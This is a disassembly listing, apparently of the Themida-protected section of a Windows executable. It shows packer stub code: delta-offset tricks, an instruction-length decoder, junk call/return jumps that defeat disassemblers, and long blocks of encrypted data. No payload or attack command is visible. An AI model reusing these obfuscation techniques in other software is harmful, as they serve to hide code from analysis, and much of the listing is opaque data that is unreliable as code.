		mov	dword ptr [ebp+7D6B8FEh], 1013Fh
		jmp	loc_5E2198
; ---------------------------------------------------------------------------
		dd offset dword_418750+138h
		dd offset dword_418750+138h
		dd offset dword_418750+138h
		dd offset dword_418750+138h
		dd offset dword_418750+138h
		dd offset dword_418750+138h
		dd offset dword_418750+138h
		dd offset dword_418750+138h
		dd 4 dup(0)
		dd 8800h, 91C4h, 2 dup(11111111h), 888899C9h, 88888888h
		dd 0
		dd 600h, 4444h,	41h, 11111111h,	44444444h, 0C9880299h
		dd 100203h, 118888h, 88888888h,	11111111h, 1644h, 2 dup(88000000h)
		dd 8888h, 800000h, 88888888h, 8, 8088888h, 88888888h, 2	dup(0)
aIiiiiiiiaiiiii	db 'ˆˆˆˆˆˆˆˆ€ˆˆˆˆˆˆˆˆˆˆˆˆˆ',0
aIssi		db 'ˆ™™ˆ',8,0
		db 2 dup(0), 88h
aDdddddddiiiiii	db 'DDDDDDDDˆˆˆˆˆˆˆˆ',0
aAs		db '€™',0
		dd 88998000h, 88888888h, 88888900h, 89998888h, 0
		dd 80888880h, 88888888h, 80888888h, 88888888h, 88888880h
		dd 8888888h, 3E362E26h,	67666564h, 0F3F2F0h, 0
		dd 0FFFFFFFFh, 4016E6h,	4016FAh, 2 dup(0)
		dd 3, 14h dup(0)
; ---------------------------------------------------------------------------
		retn	8
; ---------------------------------------------------------------------------
		db 66h
		dd 0FE807571h, 12h dup(0)
; ---------------------------------------------------------------------------


loc_5E2198:				; CODE XREF: sub_5E1DF2+1D9j
		jmp	loc_5E24F0
; ---------------------------------------------------------------------------
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7D6BB65h
		pusha
		mov	dword ptr [ebp+7D6BAB2h], 0
		cmp	word ptr [esi],	0A166h
		jnz	loc_5E21CF
		mov	dword ptr [ebp+7D6BAB6h], 6
		jmp	loc_5E21F3
; ---------------------------------------------------------------------------


loc_5E21CF:				; CODE XREF: sub_5E1DF2+3C8j
		lea	eax, [ebp+7D6BABAh]
		push	eax
		lea	eax, [ebp+7D6BB0Ah]
		push	eax
		push	esi
		push	0
		call	loc_5E2202
		add	esp, 10h
		and	eax, 0FFh
		mov	[ebp+7D6BAB6h],	eax


loc_5E21F3:				; CODE XREF: sub_5E1DF2+3D8j
		popa
		add	esi, [ebp+7D6BAB6h]
		mov	eax, [ebp+7D6BAB2h]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_5E2202:				; CODE XREF: sub_5E1DF2+3EEp
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_5E222F
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_5E223B
; ---------------------------------------------------------------------------


loc_5E222F:				; CODE XREF: sub_5E1DF2+426j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_5E223B:				; CODE XREF: sub_5E1DF2+438j
		push	ebx
		push	esi
		push	edi


loc_5E223E:				; CODE XREF: sub_5E1DF2+4A1j
					; sub_5E1DF2+4BDj ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5E2251:				; CODE XREF: sub_5E1DF2+486j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7D6BC1Ch
		lea	ebp, [ebp+7D6BA92h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5E227E
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5E2251


loc_5E227E:				; CODE XREF: sub_5E1DF2+47Bj
		cmp	cl, 0Bh
		jz	loc_5E22DB
		cmp	al, 66h
		jnz	loc_5E22BC
		cmp	byte ptr [ebp-5], 0
		jnz	loc_5E223E
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_5E22B4
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_5E223E
; ---------------------------------------------------------------------------


loc_5E22B4:				; CODE XREF: sub_5E1DF2+4AFj
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_5E22BC:				; CODE XREF: sub_5E1DF2+497j
		cmp	al, 67h
		jnz	loc_5E223E
		cmp	byte ptr [ebp-6], 0
		jnz	loc_5E223E
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_5E223E
; ---------------------------------------------------------------------------


loc_5E22DB:				; CODE XREF: sub_5E1DF2+48Fj
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5E2307
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5E230C
; ---------------------------------------------------------------------------


loc_5E2307:				; CODE XREF: sub_5E1DF2+4F4j
		movzx	edi, al
		shr	edi, 1


loc_5E230C:				; CODE XREF: sub_5E1DF2+510j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7D6BCD4h
		lea	ebp, [ebp+7D6B992h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_5E248E
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5E23D2
		dec	ecx
		jz	loc_5E23B5
		dec	ecx
		jnz	loc_5E2425
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5E2421
		cmp	byte ptr [ebp-5], 0
		jz	loc_5E2394
		mov	byte ptr [ebp+0Bh], 2


loc_5E2394:				; CODE XREF: sub_5E1DF2+598j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7D6BD60h
		mov	dword ptr [ebp+7D6BAB2h], 1
		pop	ebp
		jmp	loc_5E2425
; ---------------------------------------------------------------------------


loc_5E23B5:				; CODE XREF: sub_5E1DF2+57Dj
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5E23FF
		cmp	byte ptr [ebp-5], 0
		jz	loc_5E23FF
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_5E23FF
; ---------------------------------------------------------------------------


loc_5E23D2:				; CODE XREF: sub_5E1DF2+576j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5E2418
		cmp	byte ptr [ebp-5], 0
		jz	loc_5E2407
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5E23FF
		mov	[ebp+0Bh], cl


loc_5E23FF:				; CODE XREF: sub_5E1DF2+5C7j
					; sub_5E1DF2+5D1j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_5E2425
; ---------------------------------------------------------------------------


loc_5E2407:				; CODE XREF: sub_5E1DF2+5EEj
		cmp	dl, 5
		jnz	loc_5E2425
		mov	[ebp+0Bh], dl
		jmp	loc_5E2425
; ---------------------------------------------------------------------------


loc_5E2418:				; CODE XREF: sub_5E1DF2+5E4j
		cmp	dl, 6
		jnz	loc_5E2425


loc_5E2421:				; CODE XREF: sub_5E1DF2+58Ej
		mov	byte ptr [ebp+0Bh], 3


loc_5E2425:				; CODE XREF: sub_5E1DF2+584j
					; sub_5E1DF2+5BEj ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_5E2453
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_5E2435:				; CODE XREF: sub_5E1DF2+659j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5E2435
		mov	esi, edx


loc_5E2453:				; CODE XREF: sub_5E1DF2+636j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5E2488
		cmp	edi, 7Fh
		ja	loc_5E2488
		test	bl, 38h
		jnz	loc_5E2488
		cmp	byte ptr [ebp-7], 0
		jz	loc_5E2482
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_5E2485
; ---------------------------------------------------------------------------


loc_5E2482:				; CODE XREF: sub_5E1DF2+681j
		push	1
		pop	eax


loc_5E2485:				; CODE XREF: sub_5E1DF2+68Bj
		mov	[ebp-1], al


loc_5E2488:				; CODE XREF: sub_5E1DF2+665j
					; sub_5E1DF2+66Ej ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_5E248E:				; CODE XREF: sub_5E1DF2+546j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5E24B9
		dec	eax
		dec	eax
		jz	loc_5E24AF
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_5E24C1
; ---------------------------------------------------------------------------


loc_5E24AF:				; CODE XREF: sub_5E1DF2+6ACj
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_5E24BE
; ---------------------------------------------------------------------------


loc_5E24B9:				; CODE XREF: sub_5E1DF2+6A4j
		mov	al, [ebp-3]
		add	al, 4


loc_5E24BE:				; CODE XREF: sub_5E1DF2+6C2j
		add	[ebp-1], al


loc_5E24C1:				; CODE XREF: sub_5E1DF2+6B8j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_5E24E9
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_5E24D4:				; CODE XREF: sub_5E1DF2+6F1j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5E24D4


loc_5E24E9:				; CODE XREF: sub_5E1DF2+6D7j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_5E24F0:				; CODE XREF: sub_5E1DF2:loc_5E2198j
		lea	eax, [ebp+7D6BB5Fh]
		mov	[ebp+7D12459h],	eax
		lea	ecx, [ebp+7D6BF98h]
		sbb	dx, 0D4DEh
		mov	[ebp+7D11B51h],	ecx
		push	0
		push	edi
		call	sub_5E2518
		and	[edi-3Dh], bl
sub_5E1DF2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5E2518	proc near		; CODE XREF: sub_5E1DF2+71Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5E2518	endp

; ---------------------------------------------------------------------------
		dd 51E58183h, 0FBAF7AA4h, 81667808h, 33F188DFh,	0D1058D95h
		dd 5585C707h, 5C07D12Dh, 6A000060h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0BCAAC355h
		dd 73C1712Ch, 0C681A9A1h, 3575B85Ah, 1B5958Bh, 85C707D1h
		dd 7D11D39h, 0
; ---------------------------------------------------------------------------
		mov	bl, 7Dh
		push	dword ptr [ebp+7D11AD1h]
		push	0
		push	ecx
		call	sub_5E2593
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E2593	proc near		; CODE XREF: Themida_:005E258Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5E2593	endp

; ---------------------------------------------------------------------------
		db 0DCh
		dd 8E76AB46h, 195FFA9h,	6A07D118h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 6613C356h
		dd 6A34A7B8h, 5595FF00h, 8B07D100h, 0B62FEBC0h,	9F0C074Ch
		dd 78A008D3h, 3F6C3AD0h, 0B997D716h, 0BC5C72Eh,	0CACB6EADh
		dd 5E4B90Dh, 68633CF0h,	846A1DF7h, 0ADB3DE91h, 0F5555A46h
		dd 33E95A23h, 25000000h, 584542h, 0Bh dup(0)
		dd 4BE90000h, 18000005h, 0ED7A66h, 0EEDB6884h, 0DDCA57A9h
		dd 0C6B340BEh, 0E49F2CC4h, 5997F3B9h, 46A4DFCCh, 31CFCCB9h
		dd 1BD9B7A4h, 4300EC8Eh, 19FF752Ah, 21D4B29Ah, 95532F63h
		dd 6E2C19FEh, 78180592h, 0EAAA977Ch, 583C290Eh,	0A853BFA4h
		dd 0B5D6C379h, 8E54086Eh, 8E25487Eh, 767212FFh,	6599FDE9h
		dd 610CC9F4h, 631228C0h, 3F5868CCh, 0A80EDAAh, 0AD441229h
		dd 0F99A8716h, 0A80EDAAh, 0AD441229h, 0FF9C8916h, 542F1C01h
		dd 0EB30E3C9h, 0E077DF2Ah, 6C8A07F4h, 0A44FF8DDh, 0CDDDBE75h
		dd 0F9C33CDh, 0A1866222h, 29A986E4h, 67533F12h,	29A9C3AAh
		dd 0DB6A0112h, 0EFC0C130h, 0D539CE2Ah, 507EA9E8h, 464A8651h
		dd 6033C259h, 6Bh, 75AE1074h, 4B1E5488h, 6321DEBCh, 88E3A085h
		dd 0F41228B4h, 8A775C90h, 200DF20Eh, 6D188460h,	8E39DDBEh
		dd 36911E9Fh, 14C39CDh,	6E000000h, 0A4896721h, 3A1FDDB7h
		dd 0C620614Eh, 0A15E4AE1h, 1228B4CCh, 0E5D261F8h, 0F76348A6h
		dd 817F1E0Bh, 0B495D895h, 982F1228h, 78AF5E09h,	6753E01Ch
		dd 0F8DD1B7Ah, 0A7E5D261h, 21DEBC49h, 0B5A28761h, 0ADE750D3h
		dd 269761BFh, 731EAA8Fh, 0DA2A8E84h, 906E2BE3h,	7BB4A42Ch
		dd 9328BB17h, 19A832FBh, 5926E2Ch, 977C7818h, 2713EDAAh
		dd 86EF7E3Bh, 3ED51229h, 8D38CAAFh, 0DCBBA89Eh,	86610CC9h
		dd 0CC631229h, 902FA635h, 6D39CE06h, 0B0h, 5535228Fh, 3352B69Bh
		dd 0D3028B47h, 781B089Fh, 77069D82h, 4F0088Ah, 0B6125B18h
		dd 0D8F31228h, 0E8CCF8EEh, 0E8770EB3h, 7F711603h, 94832E9Ah
		dd 1703FD9Dh, 9B3ABBB3h, 9A86A1D9h, 290B90DDh, 0E9D3412h
		dd 0A4F69481h, 19D7B2E4h, 1906EB82h, 7E3B277Ah,	12290BEFh
		dd 0EC813ED5h, 1912290Bh, 1FAA18C2h, 881FC4E8h,	0CF7A0CF1h
		dd 5C605F20h, 579D39CDh, 0B1000000h, 0D26508C5h, 0C85F1228h
		dd 61215B39h, 9C379B87h, 0B5EAB4BBh, 0C1A64443h, 1F04932Ah
		dd 0A094CF33h, 38676BECh, 21DFBCA9h, 1A07F33Ch,	59C817Fh
		dd 0E55CCB76h, 0E0BE4BA5h, 9B553522h, 0A3901FB6h, 69260BE1h
		dd 1228B501h, 0A9EA19C4h, 39CD3606h, 1D7h, 6421F900h, 0D8B8A58Ah
		dd 0E38E371Ch, 6698FD34h, 8300EDD9h, 0DC73710Fh, 18FC60F7h
		dd 5EB2BA9Bh, 5E4CDA69h, 9C12CFBBh, 2819FA7Fh, 21F421C4h
		dd 2F1C4377h, 17FC9351h, 18E6A2Ah, 93787414h, 0FA4E95D6h
		dd 3B9F8B19h, 0FDD92DF9h, 6C17A607h, 1D0686BDh,	4CAEBAC6h
		dd 0F38017B7h, 856A8606h, 7DF0AD99h, 4719FA11h,	543421B0h
		dd 0C2BFAC98h, 0DFF8C024h, 98BEF3D2h, 0ED982409h, 6B89073Eh
		dd 8C4867DEh, 8F7C419Eh, 7C13F8F6h, 1351AEDh, 803C0000h
		dd 4603EF12h, 19F9C8A8h, 0AC99851Ch, 972E13E9h,	56362308h
		dd 0F83DDCCDh, 0EE851B1Eh, 0D8147461h, 6A8606F3h, 0DF4EF985h
		dd 3FCC2868h, 9EE5E7C8h, 34F1DD41h, 19FA5939h, 5FB9E8Bh
		dd 640CDF6Eh, 2E000000h, 9A543522h, 18F1EB5h, 287B1996h
		dd 28B5026Bh, 942BC212h, 958118AFh, 25DBBCA9h, 5D1AA940h
		dd 9228B4F0h, 9B583DD4h, 9228B4D2h, 2B10E8AAh, 0C2A7593Eh
		dd 1B7CAB56h, 136B9A45h, 0D8958160h, 1228B475h,	0DFCCB84Fh
		dd 766348A6h, 5DF4D917h, 32AA37C6h, 97h, 0D09D5A46h, 0F41228B4h
		dd 80F0CE5Dh, 4603EF12h, 19F9E734h, 0C03C5C49h,	0DBA677DBh
		dd 72F5310Eh, 10A74CDBh, 0A25E3E2Bh, 593C2915h,	692714A3h
		dd 0F6B39F8Bh, 19F9BF77h, 0C725604Dh, 0A9474330h, 0B99E2DC4h
		dd 0CA5869CDh, 0AD11EFABh, 0A938746Bh, 0FA457CECh, 0AF9A419h
		dd 0EA777513h, 0DFCB2E5Ch, 0D1061822h, 7F48AC21h, 0CF0D57ACh
		dd 0CAB69B32h, 0DB4C21DEh, 0E17821D0h, 0C9276552h, 61903BE4h
		dd 65229909h, 4B08F48Bh, 29A79AEFh, 8E6A18Eh, 58FD8C23h
		dd 805634C1h, 4603EF12h, 19FF74F4h, 3F99C89h, 4C38CF74h
		dd 0E3C8265Fh, 0EBD8BD4Ch, 0D5C24FADh, 4627E4B7h, 7E19FF75h
		dd 0AE6B50E7h, 7992FC3Bh, 0C5AA4441h, 5A3FBDD8h, 93F423CEh
		dd 968D7C27h, 806DFAF6h, 12FFE400h, 0A3907573h,	38250AE0h
		dd 0D2B19E5Ah, 0AE592F14h, 89751E7Fh, 0FB8DE09Dh, 0A0377992h
		dd 81B76611h, 72B4821Dh, 5340385Bh, 3AD1B634h, 22DEBEABh
		dd 0B6E8A895h, 42254CD7h, 0ACEEF72Dh, 21997E15h, 3, 21E4C243h
		dd 0B19E837Dh, 433015D3h, 0D6C3A846h, 6B583DB3h, 0FFECD12Fh
		dd 93806583h, 2411F6F4h, 0BBA88D63h, 6F3E23D9h,	5A568h
		dd 242C8900h, 593468h, 24148900h, 81E28952h, 4C2h, 4EA8300h
		dd 5C241487h, 68241C89h, 7D6C009h, 8324148Bh, 0DD6804C4h
		dd 89000003h, 4812424h,	424h, 81525B00h, 70B242Ch, 438F516Ch
		dd 8438108h, 516C070Bh,	5B2434FFh, 4C481h, 148B0000h, 0E3895324h
		dd 4C381h, 0C3830000h, 241C8704h, 0B93AE95Ch, 0E168FFFAh
		dd 0B86A19F9h, 26EFA0B5h, 0D6B84FB9h, 307D6C4h,	0B9E0FFC5h
		dd 3240E5ABh, 2E5D39F6h, 8A5319A1h, 0FB499989h,	8529046Ch
		dd 5E3B0CCFh, 89030CF6h, 50BC81Ah, 83556E31h, 8F4B6AABh
		dd 0A614D46Dh, 0F532220h, 72728964h, 0BB5A3874h, 44197BF4h
		dd 296322CEh, 563DE6ACh, 0D0495F42h, 681E941Dh,	0BF2AB0B1h
		dd 0A2F3F26Dh, 8307E67Fh, 187B9A3Bh, 0A7FD4B7Eh, 4880088Bh
		dd 0EC32768Bh, 0EED0E6FFh, 4D1CE20Bh, 0B6255E86h, 363D4A3Ch
		dd 0D9324B76h, 857AF55Bh, 0CF54790Ah, 0D253CC0Dh, 9D32485Dh
		dd 26624B51h, 67324B38h, 0EBF1131Bh, 0DD160FB2h, 0E8160FBAh
		dd 76324B20h, 82F11B7Bh, 91A3699Fh, 27247C7Ah, 67324B30h
		dd 81E18207h, 0B767E6ABh, 0E3815D78h, 76324FBFh, 6D8C2D3Bh
		dd 848FC874h, 0CE359A11h, 6707CF34h, 0B8DB4B3Bh, 0E6324B3Bh
		dd 0FBBD11BBh, 64A3BB6Bh, 3CDBB419h, 0F7324B38h, 0CDDA1C3Bh
		dd 47324B3Bh, 3A6D8864h, 58366F47h, 0F8366F7Fh,	31324B3Bh
		dd 5B30886Ch, 10538EB1h, 18F78EBEh, 0F7CAC03Ch,	951FF25Dh
		dd 0D934A26Bh, 7A474B3Bh, 67D8A028h, 9CB7C6ABh,	0D359DFEh
		dd 9EFAC05Dh, 0D83D2BABh, 26CD2AC8h, 0DEE362AEh, 67E2C05Dh
		dd 273221FBh, 3B3248D3h, 5E6B6B3Bh, 0EA7EC262h,	4376CA3Fh
		dd 0B332513Fh, 1A630A3Bh, 0DE49CC38h, 164AB4D3h, 0CA3F95BAh
		dd 0FCCB6CF5h, 0CE36C834h, 0D8544B3Bh, 0EB1AB4Fh, 0DEE37F3Eh
		dd 6F3B3E3Bh, 0A71A0286h, 22464B3Ch, 5DB9186Bh,	0CE363183h
		dd 0B2B7C23Bh, 3E359A28h, 0AD3FBA6h, 0B7E1B43Ch, 3F8FC863h
		dd 3B359A13h, 0CE625C4Fh, 0CE363183h, 0B2B7C23Bh, 3E359A28h
		dd 0AECD4A6h, 0B7E1B43Ch, 8E8D2D63h, 0FBB9BE8Dh, 9D324DD2h
		dd 957CBA3Bh, 0EA2D4AE4h, 65F7E4A6h, 0ABB7C63Ch, 0BA359D83h
		dd 763246D2h, 26FEE93Bh, 58C9815Ah, 3F2DDA9Ch, 986C02A7h
		dd 0BCF240EBh, 0D932E8BFh, 27B92D3Bh, 3B38D6B6h, 0FDB34CEAh
		dd 0FA3F754Dh, 0CE20A25Bh, 47494B3Bh, 23AEA9D8h, 0B56AF3ACh
		dd 0CF787C6Eh, 0E78ECEBAh, 0F34E85BAh, 25530A04h, 0CE324B38h
		dd 8F614B51h, 0B3324B38h, 82F1101Bh, 0E81617B2h, 72160FBAh
		dd 3B324B23h, 0ABF11878h, 0B56B8A2Ch, 68E1C05Dh, 0B3325DBAh
		dd 0D923A23Bh, 8B04B3Bh, 160A8AAFh, 0B6B9051Ah,	4E39C89Ah
		dd 318146CFh, 373221D8h, 0B33248D3h, 1A6A6B3Bh,	0C876C263h
		dd 5276CA3Fh, 3B32533Fh, 5E620B3Bh, 0BABB144Ah,	6737A25Bh
		dd 0EDB44B3Bh, 6632E97Fh, 8BC5EC7Ah, 0B385D6B6h
		dd 28DB4CEDh, 63324B3Bh, 33B88B05h, 0D806CC8Dh,	0CE5EEB07h
		dd 0CA806D5Dh, 69BFA97Ch, 71E4F349h, 0D3644B51h, 9D324B38h
		dd 90F1151Bh, 63163FB2h, 0B7160FBAh, 0D9324B20h, 0D0F11D7Dh
		dd 3C88AB59h, 5DD1F613h, 40F9A5BAh, 0CE589BC4h,	6731A36Bh
		dd 0EB124B3Bh, 9DBB13F8h, 0A8B34F1Fh, 76264F1Fh, 6B724B3Bh
		dd 275424F8h, 0E3977BBh, 6708CF34h, 0B5844B3Bh,	9438D6B6h
		dd 54CB4CEAh, 76324B3Ah, 2ADBBBB0h, 44324B3Bh, 8388FE71h
		dd 2F6CE9F9h, 0CB3BE6C7h, 2AAB6548h, 0EADAA8C4h, 0F1324B3Bh
		dd 85BA7322h, 9DB444C2h, 90324B3Bh, 0A28ED6B6h,	32544CEDh
		dd 540CA3E1h, 3A8A39BEh, 0FDE2B43Ch, 86C3CAC5h,	961518BAh
		dd 0B1B644FBh, 37324B3Bh, 0B321C434h, 0D4DA4B3Bh, 4A324B3Bh
		dd 4273C019h, 68802D3Ah, 644A9447h, 53BF1162h, 60E30631h
		dd 5B654B51h, 0D9324B38h, 0B3F1141Bh, 721637B2h, 3F160FBAh
		dd 9D324B2Fh, 4FF11C7Ch, 67324883h, 0B3BC443Bh,	26324B3Bh
		dd 0BF3221D8h, 763248D3h, 0F8696B3Bh, 0B96EC260h, 0EA76CA3Fh
		dd 67325E3Fh, 7061083Bh, 0CADB30A6h, 0FB324B3Bh, 0EA87F7B2h
		dd 0BF2F4AD6h, 0CBF07289h, 76A74C60h, 0D71E5FDh, 0B0DA1D3Bh
		dd 0F9324B3Bh, 656C8865h, 0F7366F4Fh, 22366F7Fh, 0DB324B3Bh
		dd 76FE886Dh, 1F0E7C0Ch, 42B2146Bh, 54E1C0CBh, 3AF7EE86h
		dd 0E3BFC63Ch, 83359DF2h, 17791746h, 0DF2BCE08h, 0A8194CEAh
		dd 0B630A2FAh, 0EDB385D6h, 3B28DB4Ch, 563324Bh,	8D33B88Bh
		dd 7D806CCh, 83CE5EEBh,	0A4F305E9h, 6E8C08Bh, 33000000h
		dd 3B765EA8h, 2820FEBh,	0B2000000h, 6A5F10h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0BC42A5C3h
		dd 0CA7F4104h, 58F0F60h, 66000000h, 760FEE81h, 830Fh, 8B610000h
		dd 0D98166C3h, 0BA6663DCh, 0C08BB919h, 0CD89BA66h, 3405BD83h
		dd 750007D1h, 49BD8309h, 7D128h, 53501974h, 7AB8C08Bh
		dd 89000004h, 0D1201185h, 179D8D07h, 0FF07D3E2h, 83585BD3h
		dd 0D12849BDh, 17740007h, 7AB85350h, 89000004h,	0D1201185h
		dd 0B89D8D07h, 0FF07D3DEh, 81585BD3h, 513425CAh, 0DE8A6058h
		dd 0FA6CFFB9h, 0C08B612Bh, 266E9h, 8C666000h, 4C1F6D9h
		dd 35840Fh, 16A0000h, 1CC9B5FFh, 858D07D1h, 7D4A6EAh, 8589D0FFh
		dd 7D10C81h, 0EFC1FE8Bh, 680Ch,	6A2006h, 6857026Ah, 1000Dh
		dd 0C8195FFh, 32E907D1h, 0C6000000h, 0D131B585h, 0DF685607h
		dd 0FFA9C530h, 0D10831B5h, 0EA858D07h, 0FF07D4A6h, 0B58589D0h
		dd 8D07D12Bh, 0D114BD85h, 406A5007h, 0FF56056Ah, 0D12BB595h
		dd 0C36107h, 2 dup(0)
		dd 52000000h, 8B60D48Bh, 85890842h, 7D6CAEDh, 890C428Bh
		dd 0D6CAE585h, 10428B07h, 0CAE98589h, 0B58D07D6h, 7D6CB23h
		dd 8EA1858Dh, 0D0FF005Bh, 0CC25A61h, 0EDB58B00h, 8B07D6CAh
		dd 0D6CAE585h, 0E9BD8307h, 7D6CAh, 7840Fh, 6890000h, 2E9h
		dd 0CF068800h, 2 dup(0)
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		pusha
		mov	eax, [edx+8]
		mov	[ebp+7D6CAEDh],	eax
		lea	esi, [ebp+7D6CB74h]
		lea	eax, [ebp+5B8EA1h]
		call	eax
		popa
		pop	edx
		mov	eax, [ebp+7D6CAEDh]
		retn	4
; ---------------------------------------------------------------------------
		dw 858Bh
		dd 7D6CAEDh, 8589008Bh,	7D6CAEDh, 0CFh,	0B5896000h, 7D6CB4Ah
		dd 0CB468589h, 858D07D6h, 7D11D71h, 8944408Bh, 0D6CB8385h
		dd 0B9B58D07h, 8D07D6CBh, 5B8EA185h, 61D0FF00h,	0CB4A858Bh
		dd 8BC307D6h, 0D6CB469Dh, 43B70F07h, 8BD8033Ch,	9D03785Bh
		dd 7D6CB46h, 324738Bh, 0D6CB46B5h, 7B8B5607h, 1C738B20h
		dd 0CB46BD03h, 0B50307D6h, 7D6CB46h, 0FFC983FCh, 4A9D8B41h
		dd 8B07D6CBh, 46950317h, 8307D6CBh, 28A04C7h, 840FC084h
		dd 0Fh,	850F033Ah, 0FFFFFFDCh, 0E7E94243h, 3AFFFFFFh, 0CD850F03h
		dd 5FFFFFFFh, 0B70FE1D1h, 48B0F04h, 46850386h, 8907D6CBh
		dd 0D6CB4A85h, 8BF08B07h, 81C18BCEh, 0D6CB83BDh, 30000007h
		dd 0D850FC0h, 0C1000000h, 0FC2514E8h, 0E900000Fh, 8, 2512E8C1h
		dd 3FF8h, 0CB83BD8Bh, 0C8307D6h, 148B0607h, 24C28B07h
		dd 8B813C81h, 57840FC1h, 81000000h, 0D6CB83BDh,	30000007h
		dd 0D850FC0h, 0C1000000h, 0FC250AE8h, 0E9003FFFh, 8, 2509E8C1h
		dd 7FFFF8h, 2Dh, 6088340h, 8000F7h, 840F0000h, 1Eh, 0CB83BD81h
		dd 7D6h, 840FC030h, 0Eh, 3FF825h, 808B00h, 83C06000h, 8DCF0608h
		dd 0D6CAF185h, 9D858907h, 8D07D120h, 0D6CB8785h, 0D1858907h
		dd 8D07D10Eh, 0D6CB4E85h, 0F1858907h, 0E907D133h, 13Ch
		dd 4Fh dup(0)
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+7D10EEDh], 1
		jz	loc_5E3A12
		jmp	loc_5E349C
; ---------------------------------------------------------------------------
		dw 9149h
		dd 68747169h, 5960002Eh, 0F2B25FD4h, 588218EFh
; ---------------------------------------------------------------------------


loc_5E349C:				; CODE XREF: Themida_:005E3485j
		mov	byte ptr [ebp+7D131B5h], 43h
		push	0
		push	edi
		call	sub_5E34AE
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E34AE	proc near		; CODE XREF: Themida_:005E34A6p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5E34AE	endp

; ---------------------------------------------------------------------------
		dw 340Ch
		dd 13E962h, 955C0000h, 61D6EB0Fh, 70D628CDh, 3C58E8B5h
		dd 0A5A04B8Bh, 36036862h, 8B60964Bh, 61C88BD3h,	0F6243481h
